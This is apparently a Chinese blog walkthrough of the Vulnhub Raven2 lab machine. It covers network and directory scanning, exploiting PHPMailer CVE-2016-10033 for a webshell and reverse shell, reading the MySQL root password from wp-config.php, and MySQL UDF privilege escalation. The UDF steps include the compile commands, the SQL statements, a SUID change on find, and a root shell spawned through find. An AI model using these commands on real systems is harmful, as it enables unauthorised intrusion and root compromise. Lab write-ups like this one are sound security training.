Vulnhub-Raven2靶场渗透

目标发现

使用 arp-scan 扫描,以发现目标主机

arp-scan 192.168.120.0/24

image-20250322202100191

目标主机为:192.168.120.167

信息搜集

端口扫描

使用 nmap 进行扫描

nmap -sS -p- -sV -A 192.168.120.167 --min-rate=1000

扫描结果如下:

image-20250322202337021

得到以下信息:

端口 服务 版本信息
22/TCP SSH OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/TCP http Apache httpd 2.4.10 ((Debian))
111/TCP RPC rpcbind 2-4 (RPC #100000)
48101/TCP status 1 (RPC #100024)

访问网站,是一个安全团队的商业站点,没找到什么有效信息

image-20250322203612955

cms识别&插件

wappalyzer识别到了cms为 WordPress 4.6.7

image-20250322204730540

目录扫描

使用 gobuster 进行目录扫描以及敏感文件的查找

gobuster dir -u http://192.168.120.167 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,asp,aspx,jsp,bak,swp,config,env,json,log,git

image-20250322204939862

发现在 /vendor 目录下有很多文件:

image-20250327164558220

其中比较重要的有:自述文件 README.md 、版本信息文件 VERSION、PATH文件以及安全文件SECURITY.md:

image-20250327165049242

image-20250327165034746

image-20250327175922377

image-20250327165256667

从其中可以获得一些信息:

  • PHPMailer version 5.2.16
  • < 5.2.18 的PHPMailer存在 CVE-2016-10033 漏洞,甚至还给了链接
  • 网站目录结构:/var/www/html/
  • flag1:flag1

漏洞利用

在searchsploit搜索phpmailer的相关漏洞利用脚本:

image-20250327184533180

选择python脚本 40974.py,修改相关的值为目标的实际值然后执行:

image-20250327184109304

image-20250327184708027

访问木马文件,验证是否成功上传:

image-20250327184212815

攻击机开启监听,再次访问木马文件,成功拿到shell:

image-20250327184357795

使用 Python 启动一个功能更强大的 bash shell:python -c 'import pty;pty.spawn("/bin/bash")'

image-20250327214717523

搜索 flag 文件:

find / -type f -iname flag* 2>/dev/null

找到两个flag,将其移到网站目录下方便访问:

image-20250327195854411

image-20250327195925992

提权

WordPress目录枚举

通过测试,使用 linux-exploit-suggester.sh 检测到的两个脏牛提权都不能成功

由前面的信息可知flag3是在wordpress目录下,而且wappalyzer识别到了站点cms是wordpress,进入wordpress目录下进行排查:

image-20250327202227940

可以看到有一个配置文件,但内容比较多,进行 grep 关键字查找:

grep "password" -rn wp-config.php

找到一个 password 关键字在文件内第28行:

image-20250327202500026

或将其复制到网站根目录,访问下载到本地进行查看

image-20250327202750810

可以看到其中有一个root权限账户的凭据:

image-20250327202947601

查看MySQL版本信息:

img

UDF提权

条件验证

  • 必须有root权限:root : R@v3nSecurity

  • secure_file_priv 是否有具体值:

    show global variables like 'secure%';    #查询secure_file_priv
    
    image-20250327212809634

​ 没有具体值,可以写入文件,可以进行udf提权

  • 查看插件目录:

    show variables like '%plugin%';
    
    image-20250327214807180
  • 查看是否可以远程登录:

    use mysql;
    select user,host from user;
    
    image-20250327215116278

​ 这里显示不能远程登录,所以不能进行MSF提权,也不能使用工具进行提权;

exp构造

在searchsploit中搜索 mysql usf 搜索相关的exp:

image-20250327220132075

这里使用第二个

在本地编译再传输到目标主机:

gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
image-20250327220908571

image-20250327221046456

开始提权

登入mysql后,使用mysql库:

show databases;
use mysql;
image-20250603210751944
#创建表raven2
create table raven2(line blob);
 
#将刚上传的cmd.so插入表                             
insert into raven2 values(load_file('/var/www/html/cmd.so'));  
#raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
 
#新建存储函数
select * from raven2 into  dumpfile '/usr/lib/mysql/plugin/cmd.so';
 
#创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
 
#查询函数是否创建成功
select * from mysql.func;
 
#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
image-20250327221651337

可以看到find命令有root权限了,执行命令拿到root shell:

find / -exec "/bin/sh" \;
image-20250327222032401

拿到最后一个flag:

image-20250327222209177
posted @ 2025-12-03 09:23  shinianyunyan  阅读(15)  评论(0)    收藏  举报